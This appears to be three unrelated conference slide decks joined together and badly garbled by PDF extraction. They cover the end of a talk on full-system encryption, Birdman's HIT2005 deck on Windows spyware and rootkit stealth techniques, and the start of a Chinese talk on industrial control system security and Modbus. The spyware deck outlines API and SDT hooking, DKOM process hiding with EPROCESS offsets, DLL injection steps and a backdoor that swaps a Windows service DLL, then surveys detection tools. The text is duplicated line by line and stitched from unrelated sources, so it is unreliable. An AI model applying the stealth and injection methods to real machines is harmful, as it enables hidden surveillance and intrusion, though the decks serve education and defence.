● 3) Userspace utilities
– Initrd script skeleton
– Built on tboot and Intel TXT
● Get the source code:
https://github.com/thyth/phalanx
Suggested Installation Basis
● Qubes OS (http://qubes-os.org/)
– Pragmatic formulation of Xen, Linux, and custom
tools to provide “security by isolation” model
– Isolate information in separate domU guests in
Xen
– Desktop environment designed for seamless use
of multiple VMs
Hardware Requirements
● AES-NI
● Hardware Virtualization Extensions
– Intel VT-x, AMD-V
● IOMMU
– Intel VT-d, AMD-Vi
● TPM
– Static/Dynamic Root for Trust Measurement
Security Assumptions
● TPM:
– No backdoor capable of dumping NVRAM
– No backdoor capable of resetting monotonic
counters
– No effective “reset” attack on PCR state
– Conducting hardware attack to tap TPM CPU and
extract secrets should take no less than 12 hours
Security Assumptions
● CPU, Memory Controller, IOMMU
– Correctly configured IOMMU is effective protection
against hostile DMA transfer
– AES-NI has no backdoor
– HVM generates correct VMEXIT events
– No Intel backdoor in TXT
● Xen
– No (more) hypervisor compromise vulnerabilities
– Correct implementation of PV hypercalls
Threat Model
● Realistic Threat Assessment:
– No system is unbreakable, especially one that
contains so many vulnerable parts
– Safes are rated in number of minutes they can
withstand an adversary
● Aim for hours, not minutes
– Assumptions can be wrong (verify mine!)
Expected Security
● Cold boot attack ineffective against FDE key,
and encrypted user information in RAM
● Hardware based RAM acquisition ineffective
● Extracting TPM NVRAM will only re-enable
“evil maid” attacks
● Tampering with the system sufficient to
compromise security should be noticeable by
the user (e.g. unseal fail, computer missing for
hours)
Attack Methods
● Key loggers, cameras, and shoulder surfing
● TPM attacks
– NVRAM extraction
– LPC bus intercept/reset hardware
● RAM manipulation
– Surreptitious RAM: hardware
intercept/manipulation
– Transient pulse injection
Legal Notes
● Not a lawyer, not legal advice
– US 5th Amendment prevents compelling a
password from a suspect in criminal cases
– (In US) Automatic self destruct timer believed to
be not illegal
– TPM and strong cryptography illegal in some
jurisdictions
– Mandatory key disclosure in some countries
Future Work & Improvements
● Facilities for greater control over encrypted
paging
– Some data is more important than other data
– Modify OpenSSL to aggressively swap out keys?
● Easily installable variant of the system
– Based on Qubes OS
● Upstream the patches?
– Unclear if they would be accepted
Conclusions
● The best security model in the world will go
unused if it is unusable
● The security model must account for realistic
use patterns
● Disk encryption is not enough: real protection
comes from “full” system encryption
● System encryption is barely possible on
commodity hardware
● But it's still better than the status quo
Thank you!
● Go get the code:
https://github.com/thyth/phalanx
● Web: http://thyth.com/
● Email: [email protected]
● PGP: ID 0xdfc02d75
201a 7b59 a15b e5f0 bc37 08d3 bc7f 39b2 dfc0 2d75 | pdf |
1
The Evolution of
The Evolution of
Windows Spyware Techniques
Windows Spyware Techniques
Birdman
Birdman
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
HIT2005
HIT2005
22
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
Welcome !
Welcome !
Hello everyone, This is
Hello everyone, This is Birdman
Birdman..
WARNING
WARNING -- Contents of this
Contents of this
presentation are for
presentation are for
**Educational Purposes
Educational Purposes
ONLY
ONLY**.. It is strongly suggested
It is strongly suggested
that you do not use this
that you do not use this
knowledge for illegal
knowledge for illegal
purposes!........
purposes!........plz
plz ☺
☺
2
33
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
Outline
Outline
1.
1.
What is Spyware?
What is Spyware?
2.
2.
The Techniques In The Past
The Techniques In The Past
3.
3.
The Spyware of Nowadays
The Spyware of Nowadays
4.
4.
Stealth Tricks
Stealth Tricks
5.
5.
Anti
Anti--Spyware Techniques
Spyware Techniques
6.
6.
Conclusion
Conclusion
44
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
1. What is Spyware?
1. What is Spyware?
Too Many Fake Jargons !?
Too Many Fake Jargons !?
In many news papers, magazines or reports, you
In many news papers, magazines or reports, you
must have heard about the following terms:
must have heard about the following terms:
Joke, Logic Bomb, Trojan, Backdoor, Worm, Dropper, Germ,
Intended, Malware, Riskware, Spyware, Adware, Ghostware,
Keylogger, Rookit, Harmful Program.
But What
But What’’s It !?
s It !?
Don
Don’’t care about those dazed words !! Because it is very
t care about those dazed words !! Because it is very
difficult to make proper definitions, they are just
difficult to make proper definitions, they are just
advertisement words.
advertisement words.
3
55
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
Evil Level of Malware
Evil Level of Malware
Evil
Virtuous
Virtuous
Normal Programs
Normal Programs
Virus
Virus
Trojan
Trojan Backdoor
Backdoor
Rootkit
Rootkit
Worm
Worm
ADware
ADware
66
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
My Taxonomy
My Taxonomy of Malware
of Malware
Klaus
Klaus Brunnstein
Brunnstein
He writes about the
He writes about the difficulties of defining Malware
difficulties of defining Malware. He
. He
regards the traditional definitions as self
regards the traditional definitions as self--contradicting and
contradicting and
not exhaustive. Therefore he proposes a new way of
not exhaustive. Therefore he proposes a new way of
defining the term, which he calls
defining the term, which he calls intentionally
intentionally
dysfunctional software
dysfunctional software. His definition is meant to
. His definition is meant to
distinguish
distinguish normal
normal dysfunctionalities
dysfunctionalities from
from intentionally
intentionally
malevolent
malevolent ones
ones
Spyware are not products, It are just functions!
Spyware are not products, It are just functions!
Rootkit
Rootkit, Backdoor,
, Backdoor, Adware
Adware, , Keylogger
Keylogger and Password
and Password
Dummper
Dummper …
… all of them are features of Malware
all of them are features of Malware
4
77
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
Trojan
Trojan
Password
Password
Dummper
Dummper
Rootkit
Rootkit
Keylogger
Keylogger
Malware
Malware
Replicating
Replicating
Non
Non--Replicating
Replicating
Worm
Worm
Spyware
Spyware
88
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
2. The Techniques In The Past
2. The Techniques In The Past
Famous
Famous Malware
Malware
5
99
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
3. The
3. The Spyware
Spyware of Nowadays
of Nowadays
Connect
Connect--back Backdoor
back Backdoor
Portless
Portless Spyware
Spyware
DLL
DLL--Based Spyware
Based Spyware
Spyware + Rootkit
Spyware + Rootkit
10
10
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
Portless
Portless Spyware
Spyware -- RawSocket
RawSocket
Raw
Raw--Socket Backdoor
Socket Backdoor
A raw socket is one that allows access to the
A raw socket is one that allows access to the
underlying transport protocol.
underlying transport protocol.
Raw socket use
Raw socket use ““Device
Device\\RawIp
RawIp”” and normal
and normal
socket use
socket use ““Device
Device\\Tcp
Tcp”” or
or ““Device
Device\\Udp
Udp..””
Therefore, they have no any ports!
Therefore, they have no any ports!
Local
Local Sniffer
Sniffer : Use
: Use WSAIoctl
WSAIoctl to set SIO_RCVALL
to set SIO_RCVALL
Famous Backdoor
Famous Backdoor
Ackcmd
Ackcmd
HTTP
HTTP TCP(Ack
TCP(Ack) tunneling
) tunneling
hkdoor
hkdoor
6
11
11
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
Portless
Portless Spyware
Spyware -- LSP
LSP
LSP Backdoor (SPI Backdoor)
LSP Backdoor (SPI Backdoor)
LSP = Layered Service Provider
LSP = Layered Service Provider
Registry
Registry
System
System\\CurrentControlSet
CurrentControlSet\\Services
Services\\WinSock2
WinSock2\\Paramet
Paramet
ers
ers\\Protocol_Catalog9
Protocol_Catalog9\\Catalog_Entries
Catalog_Entries
12
12
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
DLL
DLL--Based Spyware
Based Spyware
As our observation, DLL
As our observation, DLL--based Spyware are
based Spyware are
popular among the Spyware Coder.
popular among the Spyware Coder.
1.
1.
It resides in processes, thus it can bypass many
It resides in processes, thus it can bypass many
scanning (including the personal firewall).
scanning (including the personal firewall).
2.
2.
Everyone watch the Process and EXE
Everyone watch the Process and EXE--file, but
file, but
no one care about DLLs.
no one care about DLLs.
3.
3.
Up now on, there are no effective Anti
Up now on, there are no effective Anti--Virus or
Virus or
Anti
Anti--Hacking tools to against them !!!
Hacking tools to against them !!!
Install Component
Install Component
ActiveX, LSP
ActiveX, LSP …
…
DLL Injection
DLL Injection
Replacement System DLL (Proxy DLL)
Replacement System DLL (Proxy DLL)
7
13
13
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
Rootkit
Rootkit
RootKits
RootKits are a hacker tools that modify
are a hacker tools that modify
existing operating system software so that
existing operating system software so that
an attacker can gain access to and hide on a
an attacker can gain access to and hide on a
machine.
machine.
This
This rootkit
rootkit patches Windows API to hide
patches Windows API to hide
certain objects from being listed.
certain objects from being listed.
1.
1.
Processes
Processes
2.
2.
Handles
Handles
3.
3.
Modules
Modules
4.
4.
Files & Folders
Files & Folders
5.
5.
Registry Values
Registry Values
6.
6.
Services
Services
7.
7.
TCP/UDP Sockets
TCP/UDP Sockets
14
14
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
4 Stealth Tricks
4 Stealth Tricks
Hooking
Hooking
Non
Non--Hooking
Hooking
8
15
15
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
44--1 Stealth With Hooking
1 Stealth With Hooking
The Hooking Techniques are the most important
The Hooking Techniques are the most important
stealth tricks , this tricks are also the popular
stealth tricks , this tricks are also the popular
among the Hackers.
among the Hackers.
What is Hooking?
What is Hooking?
Hooking = Execution Path Change
Hooking = Execution Path Change
Types of Hooking
Types of Hooking
Function Pointer Change
Function Pointer Change
Raw
Raw--Code Change
Code Change
16
16
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The API Calling Path
The API Calling Path
IAT
IAT
IAT
Call API
Call API
Call API
Application
API Entry
API Entry
Kernel32.DLL
Kernel32.DLL
CreateFile(…)
Call [00456189]
……
……....
00456193
00456193
BFFF9321
BFFF9321
00456189
00456189
Data
Data
Address
Address
BFFF9321 :
API Entry
NtCreateFile()/
ZwCreateFile()
Ntdll.dll
Int 2E/SYSENTER
KiSystemService
KiSystemService
KiSystemService
Ntoskrnl.exe
NtCreateFile
NtCreateFile
KiSystemServiceTable
reference
reference
9
17
17
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
Hooking Type
Hooking Type
Function Pointer Change
Function Pointer Change
IAT Modification
IAT Modification
EAT Modification
EAT Modification
SDT Modification
SDT Modification
Raw
Raw--Code Change
Code Change
Calls to the target function are replaced with
Calls to the target function are replaced with
calls to the malicious code by modifying
calls to the malicious code by modifying
application binaries.
application binaries.
Insert JMP
Insert JMP
Insert CALL
Insert CALL
Breakpoint Trapping
Breakpoint Trapping
Insert INT3
Insert INT3
18
18
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
Performance Issue
Performance Issue
Detours: Binary Interception of Win32 Functions
Detours: Binary Interception of Win32 Functions
Intercepted Function
Interception
Technique
Empty
Function
CoCreate-
Instance
Direct
0.113µs
14.836µs
Call Replacement
0.143µs
15.193µs
DLL Redirection
0.143µs
15.193µs
Detours Library
0.145µs
15.194µs
Breakpoint Trap
229.564µs
265.851µs
10
19
19
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Well
The Well--Known Ways for Hooking API
Known Ways for Hooking API
1.
1. Replacing Files (DLLs)
Replacing Files (DLLs)
2.
2. Hooking IAT
Hooking IAT
3.
3. Patching API Entry
Patching API Entry
4.
4. Hook Export Directory
Hook Export Directory
5.
5. Hooking IDT 2Eh Entry
Hooking IDT 2Eh Entry
6.
6. Hooking KiSystemService
Hooking KiSystemService
7.
7. Hooking SDT
Hooking SDT
8.
8. Hooking SST (KiServiceTable)
Hooking SST (KiServiceTable)
9.
9. Hook NativeAPI Export_Directory
Hook NativeAPI Export_Directory
10.
10. Patching NativeAPI Entry
Patching NativeAPI Entry
User Mode
User Mode
Kernel Mode
Kernel Mode
20
20
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Flow Path After
The Flow Path After ““Patching API
Patching API””
API Entry
API Entry
IAT
IAT
IAT
Call API
Call API
Call API
Kernel32.DLL
Application
Call [00456189]
……
……....
00456193
00456193
BFFF9321
BFFF9321
00456189
00456189
Data
Data
Address
Address
BFFF9321 : API Entry
Jmp my_stub
My stub
My stub
My stub
11
21
21
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
44--11--1 Process Hiding
1 Process Hiding
Intruders are interested in staying invisible, they
Intruders are interested in staying invisible, they
always use such functionality to cover their other
always use such functionality to cover their other
spyware. Therefore, almost every
spyware. Therefore, almost every rootkit
rootkit provides
provides
such stealth trick.
such stealth trick.
API
API--Hooking
Hooking
ToolHelp API
ToolHelp API
PS API
PS API
Performance API
Performance API
WMI API
WMI API
Native API
Native API
ZwQuerySystemInformation
ZwQuerySystemInformation
DKOM
DKOM
DKOM:EPROCESS.ActiveProcessLinks
DKOM:EPROCESS.ActiveProcessLinks
22
22
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
44--11--2 TCP/UDP Port Hiding
2 TCP/UDP Port Hiding
For hiding the port, we have many methods
For hiding the port, we have many methods
to do that:
to do that:
1.
1. By SNMP Functions (such as
By SNMP Functions (such as netstat
netstat))
2.
2. By Query TCP Handles (such as
By Query TCP Handles (such as FPort
FPort, Arbiter)
, Arbiter)
There is an example, which will hide the
There is an example, which will hide the
certain
certain ““Port
Port”” by hooking SDT. It control a
by hooking SDT. It control a
Native API,
Native API, ZwDeviceIOControlFile
ZwDeviceIOControlFile..
12
23
23
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
Hook It~
Hook It~
––
Therefore, we could break in them !
Therefore, we could break in them !
––
Hook IpHelper APIs
Hook IpHelper APIs
––
GetTcpTable
GetTcpTable
––
AllocateAndGetTcpTableFromStack
AllocateAndGetTcpTableFromStack
––
AllocateAndGetUdpTableFromStack
AllocateAndGetUdpTableFromStack
––
AllocateAndGetTcpExTableFromStack (New for WinXP)
AllocateAndGetTcpExTableFromStack (New for WinXP)
––
AllocateAndGetUdpExTableFromStack (New for WinXP)
AllocateAndGetUdpExTableFromStack (New for WinXP)
Hook DeviceIOControl API
Hook DeviceIOControl API
––
IOCTL_TCP_QUERY_INFORMATION
IOCTL_TCP_QUERY_INFORMATION
––
IOCTL_TCP_QUERY_INFORMATION_EX
IOCTL_TCP_QUERY_INFORMATION_EX (New for WinXP)
(New for WinXP)
24
24
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
44--11--3e Registry Hiding
3e Registry Hiding
Win32 API
Win32 API
RegEnumKeyA
RegEnumKeyA/W
/W
RegEnumKeyExA
RegEnumKeyExA/W
/W
RegEnumValueA
RegEnumValueA/W
/W
RegQueryMultipleValuesA
RegQueryMultipleValuesA/W
/W
Native API
Native API
ZwEnumerateKey
ZwEnumerateKey
ZwEnumerateValueKey
ZwEnumerateValueKey
13
25
25
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
44--11--4 File/Directory Hiding
4 File/Directory Hiding
Win32 API
Win32 API
FindFirstFileA
FindFirstFileA/W,
/W, FindNextFileA
FindNextFileA/W
/W
Native API
Native API
ZwQueryDirectoryFile
ZwQueryDirectoryFile
26
26
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
44--11--5 Service Hiding
5 Service Hiding
AAdvapi32.dll
dvapi32.dll
EnumServicesStatusA
EnumServicesStatusA
14
27
27
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
44--2 Stealth With No
2 Stealth With No--Hooking
Hooking
Recently, No
Recently, No--Hooking tricks are more and
Hooking tricks are more and
more popular, because there are many
more popular, because there are many
mature ways to detect Hooking.
mature ways to detect Hooking.
The ultimate stealth is nothing to hide!
The ultimate stealth is nothing to hide!
DKOM
DKOM
Direct Kernel Object Manipulation
Direct Kernel Object Manipulation
Jamie Butler, http://
Jamie Butler, http://www.hbgary.com
www.hbgary.com
28
28
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
Fu
Fu rootkit
rootkit
...
Attacker’s process
...
Now it is hidden process
All active processes in the system are kept on the single
list. This list is implemented by pair of pointers in each
EPROCESS block:
•Win2K:EPROCESS.ActiveProcessLinks (offset +0xa0)
•WinXP:EPROCESS.ActiveProcessLinks (offset +0x88)
15
29
29
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
IInteresting Stealth Techniques
nteresting Stealth Techniques
Zero Registry Spyware
Zero Registry Spyware
Stealth Module Trick
Stealth Module Trick
Code Injection
Code Injection
Shellcode
Shellcode Injection
Injection
DLL Injection
DLL Injection
Playing PE Loader
Playing PE Loader
30
30
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
Zero
Zero--Registry Spyware
Registry Spyware
There is a new popular trick to make
There is a new popular trick to make
Spyware become more stealth. Some DLL
Spyware become more stealth. Some DLL--
based Spyware replace system service DLL,
based Spyware replace system service DLL,
therefore they don
therefore they don’’t modify any registry. It is
t modify any registry. It is
difficult to discover them!
difficult to discover them!
Packetdoor
Packetdoor
Stop Auto
Stop Auto--update service
update service
Replace
Replace wuauserv.dll
wuauserv.dll with
with packetdoor
packetdoor’’ss dll
dll
Start Auto
Start Auto--update service
update service
BDR.UC.Backdoor
BDR.UC.Backdoor
16
31
31
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
Stealth Module Trick
Stealth Module Trick
As soon as it is loaded into a process, the
As soon as it is loaded into a process, the
Rootkit hides its DLL. Rootkit modify the
Rootkit hides its DLL. Rootkit modify the
PEB_LDR_DATA (PEB=FS:0x30) to unlink
PEB_LDR_DATA (PEB=FS:0x30) to unlink
InLoadOrderModuleList
InLoadOrderModuleList, , InMemoryOrderModuleList
InMemoryOrderModuleList, ,
InInitializationOrderModuleList
InInitializationOrderModuleList
The technique used below is very efficient against all
The technique used below is very efficient against all
programs that rely on the windows API for enumerating
programs that rely on the windows API for enumerating
modules. Due to the fact that
modules. Due to the fact that
EnumProcessModules/Module32First/Module32Next/...
EnumProcessModules/Module32First/Module32Next/...
depend on
depend on NtQuerySystem
NtQuerySystem Information
Information
Rootkit :
Rootkit : vanquish
vanquish--0.2.0
0.2.0
PEB
PEB
**_*
_*
FS:30
FS:30
Ntdll.dll
Ntdll.dll
kernel32
kernel32
Spyware
Spyware
32
32
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
Code Injection
Code Injection
DLL Injection (Win2K/XP)
DLL Injection (Win2K/XP)
1.
1.
Open the target process.
Open the target process.
2.
2.
Prepare the "Inject
Prepare the "Inject--code" and "Inject
code" and "Inject--data" in our local
data" in our local
process.
process.
3.
3.
Allocate memory in the remote process address space.
Allocate memory in the remote process address space.
4.
4.
Change the page permission of the allocated memory .
Change the page permission of the allocated memory .
5.
5.
Write a copy of our inject
Write a copy of our inject--code and a inject
code and a inject--data to the
data to the
remote process.
remote process.
6.
6.
Create a thread in the remote process to invoke our inject
Create a thread in the remote process to invoke our inject--
code
code..
17
33
33
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
DLL Injection Flow
DLL Injection Flow
Trojan.dll
Trojan.dll
Trojan.dll
Spyware
Loader
Spyware
Loader
OpenProcess()
Target
Process
Target
Process
VirtualAllocEx()
CreateRemoteThread()
C:\Trojan.dll
LoadLibrary
LoadLibrary()()
Trojan.dll
Trojan.dll
Trojan.dll
34
34
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
Playing PE Loader
Playing PE Loader
There is a
There is a variation of DLL
variation of DLL--Injection. It could
Injection. It could
make the DLL become invisible. I show U:
make the DLL become invisible. I show U:
Spywar
e
Loader
Spywar
e
Loader
OpenProcess()
Target
Process
Target
Process
VirtualAllocEx()
CreateRemoteThread()
C:\Trojan.dll
LoadLibrary
LoadLibrary()()
Trojan.dll
Trojan.dll
Trojan.dll
Shellcode
Shellcode
Trojan.dll
Trojan.dll
Trojan.dll
Copy Image
Copy Image
FreeLibrary
FreeLibrary
Restore Image
Restore Image
18
35
35
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
5. Spyware Analysis and Detection
5. Spyware Analysis and Detection
Techniques
Techniques
Detect Hidden Processes
Detect Hidden Processes
Detect Hidden Files
Detect Hidden Files
Detect Hidden Registry
Detect Hidden Registry
36
36
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
Tools :
Tools : Procexp
Procexp
19
37
37
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
Tools: Rootkit Revealer
Tools: Rootkit Revealer
http://
http://www.sysinternals.com/Utilities/Rootkit
www.sysinternals.com/Utilities/Rootkit
Revealer.html
Revealer.html
38
38
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
Tools :
Tools : Blacklight
Blacklight
FF--Secure
Secure
20
39
39
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
Tools:
Tools: IceSword
IceSword
40
40
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
Tools: Archon
Tools: Archon
21
41
41
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
Anti
Anti--Rootkit
Rootkit Tools
Tools
KAV
KAV
Rootkit
Rootkit--Revealer
Revealer
Blacklight
Blacklight
IceSword
IceSword
Archon
Archon
VICE
VICE
How about
How about …
…
Pc
Pc--cillin,Norton,CA
cillin,Norton,CA, Spy Sweeper
, Spy Sweeper …
…
42
42
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
Demonstration
Demonstration
1.
1.
Backdoor
Backdoor
1.
1.
Keylogger
Keylogger
2.
2.
SPI Backdoor
SPI Backdoor
2.
2.
Rootkit + Backdoor
Rootkit + Backdoor
1.
1.
Hxdef
Hxdef 1.0 + BirdSPY4
1.0 + BirdSPY4
2.
2.
Pro
Pro--Agent
Agent
3.
3.
Hidden Process (FU like)
Hidden Process (FU like)
4.
4.
AFX2005
AFX2005
3.
3.
Stealth Module Backdoor
Stealth Module Backdoor
1.
1.
BdrUCB
BdrUCB
2.
2.
Keylogger
Keylogger + Vanquish
+ Vanquish
3.
3.
ByShell
ByShell
4.
4.
Is
Is Adware
Adware just a
just a Adware
Adware !?
!?
1.
1.
中國人的好幫手
中國人的好幫手?
? –– 3721
3721
2.
2.
Adware
Adware--Example2
Example2
22
43
43
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
Anti
Anti--Rootkit Feature Matrix
Rootkit Feature Matrix
O
O
XX
XX
XX
XX
XX
API Hooking
API Hooking
O
O
O
O
XX
XX
XX
XX
SystemCall
SystemCall
Hooking
Hooking
XX
XX
XX
XX
O
O
O
O
KProcCheck
KProcCheck
O
O
XX
O
O
O
O
O
O
O
O
IceSword
IceSword
O
O
XX
XX
XX
Stealth Module
Stealth Module
O
O
XX
XX
XX
DLL Injection
DLL Injection
O
O
O
O
O
O
XX
Hidden Files
Hidden Files
O
O
O
O
O
O
XX
Hidden Registry
Hidden Registry
O
O
O
O
XX
XX
Hidden Process
Hidden Process--
FU like
FU like
O
O
O
O
XX
XX
Hidden Process
Hidden Process
Archon
Archon
BlackLight
BlackLight
Rootkit
Rootkit
RRevealer
evealer
Procexp
Procexp
44
44
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
6. Conclusion
6. Conclusion
Trend of Spyware
Trend of Spyware
Spyware is
Spyware is rootkitlized
rootkitlized !!!!
DLL
DLL--based Spyware is difficult to detect.
based Spyware is difficult to detect.
No effective Anti
No effective Anti--Spyware tools could fright
Spyware tools could fright
rootkit
rootkit..
DKOM and Physical Memory Usage techniques
DKOM and Physical Memory Usage techniques
are more popular among Rootkit.
are more popular among Rootkit.
EXE In
EXE In--Process
Process--Execution
Execution
User Mode Rootkit become more popular.
User Mode Rootkit become more popular.
Kernel Mode Rootkit become more powerful.
Kernel Mode Rootkit become more powerful.
23
45
45
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
Last Words
Last Words
I'd like to emphasize that I am not
I'd like to emphasize that I am not
responsible for anyone using that sample
responsible for anyone using that sample
code with his/her homemade Trojan to leech
code with his/her homemade Trojan to leech
porn from his friend's PC. Seriously, this is
porn from his friend's PC. Seriously, this is
just a sample for educational purposes, it
just a sample for educational purposes, it
should not be used for any kind of illegal
should not be used for any kind of illegal
purpose.
purpose.
46
46
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
The Evolution of Windows Spyware Techniques By Birdman, HIT2005
7. Reference
7. Reference
Thx Rootkit Guru :D
Thx Rootkit Guru :D
Greg
Greg Hoglund
Hoglund
Jamie Butler
Jamie Butler
fuzen_op
fuzen_op
Joanna
Joanna Rutkowska
Rutkowska
Chew
Chew Keong
Keong
Books
Books
Windows95 System Programming Secrets ,
Windows95 System Programming Secrets , Matt Pietrek
Matt Pietrek
Systems Programming for Windows95 ,
Systems Programming for Windows95 , Walter Oney
Walter Oney
Programming Applications
Programming Applications -- Fourth Edition ,
Fourth Edition , Jeffrey Richter
Jeffrey Richter
Windows Internals 4th,
Windows Internals 4th, David A. Solomon & Mark E.
David A. Solomon & Mark E. Russionovich
Russionovich..
Undocumented NT ,
Undocumented NT , Prasad Dabak, Milind Borate & Sandeep Phadke
Prasad Dabak, Milind Borate & Sandeep Phadke
Undocumented Windows 2000 Secrets ,
Undocumented Windows 2000 Secrets , Sven B. Schreiber
Sven B. Schreiber
Windows NT/2000 Native API Reference ,
Windows NT/2000 Native API Reference , Gary Nebbett
Gary Nebbett
Articles & Codes
Articles & Codes
Win32API Spying Techniques ,
Win32API Spying Techniques , Yariv Kaplan
Yariv Kaplan
Tracing NT Kernel
Tracing NT Kernel--Mode Calls ,
Mode Calls , Dmitri Leman
Dmitri Leman
Detours SDK package ,
Detours SDK package , Microsoft Research
Microsoft Research
ForceLibrary 1.4 ,
ForceLibrary 1.4 , yoda
yoda
APIHooks 5.5 ,
APIHooks 5.5 , EliCZ
EliCZ | pdf |
⿊黑客眼中的⼯工控4.0
——⼯工控系统安全威胁与应对探索
by Kimon
关于我
• 中国科技⼤大学苏研院
• ADF安全研究团队
• 物联⺴⽹网安全、⼯工控安全
[email protected]
13758178689
⺩王启蒙 Kimon
提纲
• ⼯工控背景
• ⼯工控系统
• ⼊入侵⽅方式
• 应对探索
⼯工业4.0与两化融合
⼯工控系统
• ICS ⼯工业控制系统
• SCADA 数据采集与监控系统
• DCS 分散式控制系统
SCADA系统
SCADA系统
⼯工控组件
• PLC可编程逻辑控制器
• RTU远程控制单元
• HMI⼈人机交互界⾯面
• 现场设备
PLC
• PLC实质是⼀一种⽤用于⼯工业
的计算机
• CPU、存储器、输⼊入输出
接⼝口电路、功能模块、通
信模块、电源
• 输⼊入采样阶段、⽤用户程序
执⾏行阶段、数据刷新阶段
• 梯形图LAD
顺序流程图SFC
指令表IL
/
(
威胁趋势
~2010
2010
2011 Duqu
2012 Flame
2013 “Dragonfly
~2014 ICS-CERT
威胁来源
协议安全
⺴⽹网络隔离
安全意识
漏洞管理
⼯工业⺴⽹网络协议
• Modbus
• S3/S5/S7
• DNP3
• Profinet
• Ethernet/IP
• …
Modbus协议
• 全球第⼀一个真正⽤用于⼯工业现场
的总线协议
• 施耐德电⼦子（Schneider
Electric）发布于1979年
• 标准开放，免费使⽤用
• ⺫⽬目前作为⼯工业标准⼯工业⺴⽹网络传
输协议之⼀一
Modbus协议
• Master/Slave模式
• 8位地址⻓长度，每个Master可⽀支
持247个Slave
• 简单清晰的协议内容
• ⽆无加密与⾝身份认证
master
slave
Initiate request
Perform action
Initiate response
Receive response
func code
data req
func code
data resp
Modbus Frame
PDU
ADU
Modbus协议
Additional
address
Function
code
Data
Error
check
Modbus TCP Frame
IP
Packet
TCP
Packet
TransactionID
2 Byte
ProtocolID
2 Byte
Length
2 Byte
Unit ID
1 Byte
Function
Code
1 Byte
Data
256 or ..
PDU
ADU
Modbus协议
